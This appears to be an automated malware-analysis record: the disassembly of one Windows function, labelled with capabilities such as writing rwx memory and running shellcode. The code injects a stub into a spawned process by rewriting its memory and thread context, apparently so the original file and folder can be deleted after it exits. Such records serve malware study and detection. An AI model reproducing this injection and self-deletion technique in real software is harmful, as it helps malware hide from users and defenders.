Function at 0x406e93
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
mov eax, 0x461fd7
call fcn.00433ae8
sub esp, 0xebc
push ebx
push esi
xor ebx, ebx
push edi
lea eax, [ebp - 0x11]
mov edi, 0x469580
mov esi, 0x469578
push ebx
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x30], esi
call fcn.00402b2c
lea eax, [ebp - 0x5c]
push 0x104
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.004024e5
mov dword [ebp - 0x10], eax
mov ecx, dword [eax]
mov byte [ebp - 4], 1
call fcn.0040305e
mov ecx, dword [ebp - 0x10]
push 0x104
push eax
push ebx
mov dword [ecx + 8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.004025f7
push ebx
lea eax, [ebp - 0x84]
push ebx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402d65
sub esp, 0x28
lea eax, [ebp - 0x50]
mov dword [ebp - 0x10], esp
mov ecx, esp
push ebx
push eax
mov byte [ebp - 4], 2
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403e42
call fcn.00443435
add esp, 0x28
cmp al, bl
jne 0x406f70
cmp byte [ebp + 8], bl
je 0x407156
sub esp, 0x28
lea eax, [ebp - 0x84]
mov dword [ebp - 0x10], esp
mov ecx, esp
push ebx
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00403e42
call fcn.00443435
add esp, 0x28
cmp al, bl
je 0x407156
mov esi, 0x47b1e0
lea edi, [ebp - 0x1cc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x1bf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x44
pop edx
stosb byte es:[edi], al
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xc4]
mov dword [ebp - 0xc8], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
lea eax, [ebp - 0x1cc]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406fd0
mov byte [ebp + 0xb], bl
jmp 0x40715a
mov ecx, 0x28a
xor eax, eax
lea edi, [ebp - 0xec4]
mov dword [ebp - 0xec8], ebx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, 0x104
mov dword [ebp - 0x6c0], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x6bc], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x6b8], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x6b4], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x6b0], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp + 8]
push esi
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x6a4], al
call fcn.0040305e
push eax
lea eax, [ebp - 0x6a3]
push eax
call fcn.00433d50
add esp, 0xc
cmp byte [ebp + 8], bl
je 0x407070
push esi
lea ecx, [ebp - 0x84]
call fcn.0040305e
push eax
lea eax, [ebp - 0x59f]
push eax
call fcn.00433d50
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
lea eax, [ebp - 0x6c4]
push ebx
push eax
push dword [ebp - 0x24]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x40721f
mov eax, 0x407186
sub ecx, eax
cmp ecx, 0x800
ja 0x406fc8
push ecx
push eax
lea eax, [ebp - 0xec4]
push eax
call fcn.00434440
add esp, 0xc
lea eax, [ebp - 0x498]
mov dword [ebp - 0x498], 0x10003
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x3d4]
mov edi, 0xa2d
lea esi, [eax - 0xa2d]
and esi, 0xffffffe0
mov dword [ebp - 0xec8], esi
lea eax, [esi - 4]
mov dword [ebp - 0x3d4], eax
lea eax, [esi + 4]
mov dword [ebp - 0x3e0], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
lea eax, [ebp - 0xec8]
push edi
push eax
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x498]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x24]
call esi
mov byte [ebp + 0xb], 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.00401f95
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.00401f95
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + 0xb]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret